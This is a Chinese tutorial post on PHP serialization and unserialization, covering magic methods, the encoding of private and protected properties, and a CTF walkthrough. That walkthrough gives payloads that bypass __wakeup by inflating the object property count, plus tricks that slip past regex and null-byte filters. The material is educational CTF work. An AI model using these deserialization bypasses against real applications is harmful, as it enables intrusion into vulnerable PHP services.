IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> php序列化相关 -> 正文阅读

[PHP知识库]php序列化相关

1、基础知识

1.1 序列化的展示和解析

<?php
// 将对象序列化
class A{
   public $test = 123;
}
$a = new A;
$a_ser=serialize($a);
echo $a_ser."<br/>";
// 将数组序列化
$b = array('xiaoming','xiaohong','ligang','dongqin');
$b_ser=serialize($b);
echo "$b_ser";echo "<br/>";
//反序列化
$b_unser = unserialize($b_ser);
$a_unser = unserialize($a_ser);
print_r($b_unser);
print_r($a_unser);
?>

结果:

O:1:"A":1:{s:4:"test";i:123;}

a:4:{i:0;s:8:"xiaoming";i:1;s:8:"xiaohong";i:2;s:6:"ligang";i:3;s:7:"dongqin";}

Array ( [0] => xiaoming [1] => xiaohong [2] => ligang [3] => dongqin ) A Object ( [test] => 123 )

序列化后字符串意义解释:

变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}

1.2 相关魔术方法

一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已

__construct():

构造函数,当对象被创建的时候自动调用,对对象进行初始化。但是在unserialize()的时候不会自动调用。可以形象地理解为构造函数便随着对象的生,析构函数便随着对象的死,序列化相当于让对象休眠,反序列化相当于让对象苏醒,所以对象苏醒时会自动调用,苏醒函数即__wakeup()函数,而不会自动调用构造函数。

__destruct():

当对象被销毁时会自动调用。

__wakeup():

unserialize()时会自动调用。

__sleep():

serialize() 时自动调用

__toString():

把类当作字符串使用时触发

打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。

启发:如果preg_match调用一个类中的变量,如果通过unserialize()将这个变量设为一个类,那么就会调用_toString方法。

__invoke():

当脚本尝试将对象调用为函数时触发

作用:

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

注意:

本特性只在 PHP 5.3.0 及以上版本有效。

__call()

在对象上下文中调用不可访问的方法时触发

__callStatic()

在静态上下文中调用不可访问的方法时触发

__get()

用于从不可访问的属性读取数据

__set()

用于将数据写入不可访问的属性

__isset()

在不可访问的属性上调用isset()或empty()触发

__unset()

在不可访问的属性上使用unset()时触发

代码理解:

<?php
class ABC{
    public $test;
    function __construct(){
        $test =1;
        echo '调用了构造函数<br>';
    }
    function __destruct(){
        echo '调用了析构函数<br>';
    }
    function __wakeup(){
        echo '调用了苏醒函数<br>';
    }
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>

其他魔术方法:
在这里插入图片描述

1.3 序列化的一些注意点(很重要)

1.3.1 变量访问问题

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
    public function __construct($username,$password){
        $username = $username;
        $password = $password;
}
    public function printName(){
        echo $this->username;
        echo '<br>';
        echo $this->password;
    }
}
$s=new Name('123','123');
$s->printName();
?>

**结果:**admin 100

username属性和password属性,因为在类中函数中如果不用this->属性名是访问不到类的属性的。

1.3.2 序列化对象

private变量会被序列化为:%00类名%00变量名

protected变量会被序列化为: %00*%00变量名

public变量会被序列化为:变量名

ps:可以尝试在urlencode(serializa($s))来显示%00

1.3.3 一些绕过

(1)绕过正则匹配

O:4 修改为O:+4 来绕过正则匹配,注意:需要先将+url编码为%2b

不然+会被认为是空格

(2)绕过protected或private中的%00空字符匹配

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
例如:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

2. 反序列化__wake()方法绕过

ps:以wp的形式讲解知识点

2.1 题目引入

打开题目,看到一段代码

class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

代码审计走起,最重要的是这一个函数function __wakeup(),配合题目unserialize想到PHP的序列化和反序列化

__wakeup()函数用法:

wakeup()是用在反序列化操作中。unserialize()会检查存在一个wakeup()方法。如果存在,则先会调用__wakeup()方法。

<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>

最后页面输出了Hello。在反序列化的时候存在__wakeup()函数,所以最后就会输出Hello

2.2 __wakeup()函数漏洞说明

<?php
class Student{
    public $full_name = 'zhangsan';
    public $score = 150;
    public $grades = array();
    function __wakeup() {
        echo "__wakeup is invoked";
    }
}
$s = new Student();
var_dump(serialize($s));
?>

最后页面上输出的就是Student对象的一个序列化输出:

O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。

wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。

当我们将上述的序列化的字符串中的对象属性个数修改为5,变为

O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

最后执行运行的代码如下:

class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}
$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');

这样就成功地绕过了__wakeup()函数。

再此题中,我们也需要绕过__weakup函数,结果?code=的提示,需要将序列化之后的值传给code。

首先实例化xctf类并对其使用序列化(这里就实例化xctf类为对象test)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$test = new xctf();           //使用new运算符来实例化该类(xctf)的对象为test
echo(serialize($test));       //输出被序列化的对象(test)
?>

执行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

我们要反序列化xctf类的同时还要绕过wakeup方法的执行(如果不绕过wakeup()方法,那么将会输出bad requests并退出脚本),wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数:

当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为2,即如下所示:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

访问url:http://url?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

即可得到flag

ps:当serialize给对象中的私有变量(private前缀)加密时会加上(?Demo?),??不知道,所以当做这种的时候,需要直接在php代码中就将它进行处理。

3.PHP反序列化字符逃逸

4.pop链构造

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-30 11:43:35  更:2021-09-30 11:43:40 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 3:49:18-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计